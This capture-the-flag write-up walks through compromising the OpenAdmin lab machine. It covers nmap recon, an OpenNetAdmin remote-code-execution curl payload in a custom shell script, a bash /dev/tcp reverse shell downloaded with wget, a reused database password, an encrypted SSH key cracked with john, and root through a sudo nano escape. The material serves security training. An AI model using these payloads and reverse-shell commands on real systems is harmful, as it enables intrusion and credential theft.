Recon

As always, let's start with a nmap scan.

export ipaddress=10.10.10.171

ports=$(nmap -p- --min-rate=1000 -T4 $ipaddress | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -A -p$ports $ipaddress -o nmap
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-01 11:40 +0545
Nmap scan report for 10.10.10.171
Host is up (0.35s latency).

PORT      STATE  SERVICE VERSION
22/tcp    open   ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp    open   http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
12567/tcp closed unknown
62072/tcp closed unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=5/1%OT=22%CT=12567%CU=44635%PV=Y%DS=2%DC=T%G=Y%TM=5EAB
OS:BA16%P=x86_64-unknown-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%
OS:TS=A)SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DS
OS:T11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=
OS:7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=
OS:M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)
OS:T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G
OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 12567/tcp)
HOP RTT       ADDRESS
1   307.39 ms 10.10.14.1
2   307.68 ms 10.10.10.171

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.46 seconds

Pretty simple, we see port 22 and 80 open. Fairly standard.
Now, let's see what its hosting on the webserver.

We see the default apache page. Let's try some content discovery in this.

dirsearch -u http://10.10.10.171/ -e /

Using dirsearch, we see quite a few paths but, this /ona/ seems different and interesting. Let's check it out.

Looking at the page, we see that it is OpenNetAdmin.
Let's see if it has any readily available exploit.

searchsploit opennetadmin

The version that the site is using is 18.1.1 we see an RCE script for it.
Let's copy it over.

cp /usr/share/exploitdb/exploits/php/webapps/47691.sh exploit.sh

For some reason, I was having issues with this script, I don't really know why so I just copied the curl command and ran it on the shell, and it worked.
Then, I wrote a different script for it, which pretty much is the same thing.

#!/bin/bash

URL=$1
while true; do
  read -p "$ " cmd
        curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

Running the script:

bash exploit.sh http://10.10.10.171/ona/

Now, we do get what seems like a shell, but everytime we run a command, it uses the curl command to send the payload. I'd rather have a netcat reverse shell.
However, when you try a normal netcat reverse shell with nc 10.10.14.39 4444 -e /bin/bash it doesn't work. I looked at it for a while and then figured that the payload didn't like the hyphen.
So, what I did is, in my attacker machine, wrote a bash reverse script:

cat shell.sh 
/bin/bash -i >& /dev/tcp/10.10.14.39/4444 0>&1

Simple bash reverse shell.
Then, I startred a python3 based simple web server.

python -m http.server 80

Now, in the victim machine, downloaded the file and ran it:

wget http://10.10.14.39/shell.sh
bash shell.sh

And finally, a reverse shell.
Nice.

Now, let's imporve this shell.

python -c 'import pty; pty.spawn("/bin/bash")''
Ctrl-Z

Now, in your attacker machine,

stty raw -echo
fg

You might not be able to see what you are typing but still go ahead and run the command.

Now, in the reverse shell:

reset

export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <num>

Please note that this trick of improving the shell has been taken from: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

User 1

Looking around in the webserver, in /var/www/html/ona we see a local directory.

ls -al local

Here, we see another directory, config interesting.

ls -al local/config

Hmm, we see database_settings.inc.php. Let's check it out and see what it has to say.

cat database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

Nice, we have a password.
Let's check the users in the system and let's try this password.

cat /etc/passwd

Apart for the normal stuff there, we see 2 users, jimmy and joanna.
Let's try to login as jimmy with this and if it doesn't work, we will try as joanna.

su - jimmy

And, nice, we are jimmy now.

User 2

cd /var/www/
ls -al

We see that the directory internal is owned by jimmy. Hmm, let's see what it holds.

ls -al

We see a few files, index.php, logout.php and main.php.
Let's check the index.php file:

cat index.php

Hmm, we find a hashed password for jimmy, hashed using SHA512.
00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1

Let's take note of this, and see what else we can get before committing to something.

cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

Wait, what? For real? Seems like its serving the contents of the id_rsa file.
Yikes.

So, if we can curl this page, we can get the contents of the id_rsa file.
Interesting.
Let's see if this internal site is listening from within this own machine.

jimmy@openadmin:/var/www/internal$ netstat -tupan | grep -i listen
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:52846         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -

Hmm, maybe its the port 52846. Its only listening on localhost.

jimmy@openadmin:/var/www/internal$ curl http://127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

Nice, now let's take this over to our attacker machine and crack it as it seems to be encrypted.

vi id_rsa

Paste the password in.

Now, change the permissions, to try to use it to verify that it is encrypted:

chmod 600 id_rsa
ssh joanna@10.10.10.171 -i id_rsa

It asks for a password, like we expected.

Now to crack this, first we need to convert it to john readable format:

ssh2john id_rsa > id_rsa.hash

cat id_rsa.hash 
id_rsa:$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9ed47a9b87044b94d72d5b61df25e68a5235991f8bac883f40b539c829550ea5937c69dfd2b4c589f8c910e4c9c030982541e51b4717013fafbe1e1db9d6331c83cca061cc7550c0f4dd98da46ec1c7f460e4a135b6f1f04bafaf66a08db17ecad8a60f25a1a095d4f94a530f9f0bf9222c6736a5f54f1ff93c6182af4ad8a407044eb16ae6cd2a10c92acffa6095441ed63215b6126ed62de25b2803233cc3ea533d56b72d15a71b291547983bf5bee5b0966710f2b4edf264f0909d6f4c0f9cb372f4bb323715d17d5ded5f83117233976199c6d86bfc28421e217ccd883e7f0eecbc6f227fdc8dff12ca87a61207803dd47ef1f2f6769773f9cb52ea7bb34f96019e00531fcc267255da737ca3af49c88f73ed5f44e2afda28287fc6926660b8fb0267557780e53b407255dcb44899115c568089254d40963c8511f3492efe938a620bde879c953e67cfb55dbbf347ddd677792544c3bb11eb0843928a34d53c3e94fed25bff744544a69bc80c4ffc87ffd4d5c3ef5fd01c8b4114cacde7681ea9556f22fc863d07a0f1e96e099e749416cca147add636eb24f5082f9224e2907e3464d71ae711cf8a3f21bd4476bf98c633ff1bbebffb42d24544298c918a7b14c501d2c43534b8428d34d500537f0197e75a4279bbe4e8d2acee3c1586a59b28671e406c0e178b4d29aaa7a478b0258bde6628a3de723520a66fb0b31f1ea5bf45b693f868d47c2d89692920e2898ccd89710c42227d31293d9dad740791453ec8ebfb26047ccca53e0a200e9112f345f5559f8ded2f193feedd8c1db6bd0fbfa5441aa773dd5c4a60defe92e1b7d79182af16472872ab3c222bdd2b5f941604b7de582b08ce3f6635d83f66e9b84e6fe9d3eafa166f9e62a4cdc993d42ed8c0ad5713205a9fc7e5bc87b2feeaffe05167a27b04975e9366fa254adf511ffd7d07bc1f5075d70b2a7db06f2224692566fb5e8890c6e39038787873f21c52ce14e1e70e60b8fca716feb5d0727ac1c355cf633226c993ca2f16b95c59b3cc31ac7f641335d80ff1ad3e672f88609ec5a4532986e0567e169094189dcc82d11d46bf73bc6c48a05f84982aa222b4c0e78b18cceb15345116e74f5fbc55d407ed9ba12559f57f37512998565a54fe77ea2a2224abbddea75a1b6da09ae3ac043b6161809b630174603f33195827d14d0ebd64c6e48e0d0346b469d664f89e2ef0e4c28b6a64acdd3a0edf8a61915a246feb25e8e69b3710916e494d5f482bf6ab65c675f73c39b2c2eecdca6709188c6f36b6331953e3f93e27c987a3743eaa71502c43a807d8f91cdc4dc33f48b852efdc8fcc2647f2e588ae368d69998348f0bfcfe6d65892aebb86351825c2aa45afc2e6869987849d70cec46ba951c864accfb8476d5643e7926942ddd8f0f32c296662ba659e999b0fb0bbfde7ba2834e5ec931d576e4333d6b5e8960e9de46d32daa5360ce3d0d6b864d3324401c4975485f1aef6ba618edb12d679b0e861fe5549249962d08d25dc2dde517b23cf9a76dcf482530c9a34762f97361dd95352de4c82263cfaa90796c2fa33dd5ce1d889a045d587ef18a5b940a2880e1c706541e2b523572a8836d513f6e688444af86e2ba9ad2ded540deadd9559eb56ac66fe021c3f88c2a1a484d62d602903793d10d

Now, to proceed with cracking it:

Note: I have a different blog post for cracking ssh with john if this doesn't work for you. https://abhizer.com/crack-ssh-with-john/

john id_rsa.hash --wordlist=rockyou.txt

Nice, the password has been cracked and we see that it is: bloodninjas

Now, let's login.

ssh joanna@10.10.10.171 -i id_rsa

Now, enter the password and you should get in as joanna.
You can get the user.txt file from here.

Root

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

Nice, we see that our user can run nano on /opt/priv with sudo.
Now, looking at GTFOBins, we see a method for privsec.

sudo /bin/nano /opt/priv

^R ^X (CTRL+R and then CTRL+X)
reset; sh 1>&0 2>&0

Now, you have a mini shell there.

bash

Nice, now you should have a nice shell.

root@openadmin:~# whoami
root
root@openadmin:~# hostname
openadmin
root@openadmin:~#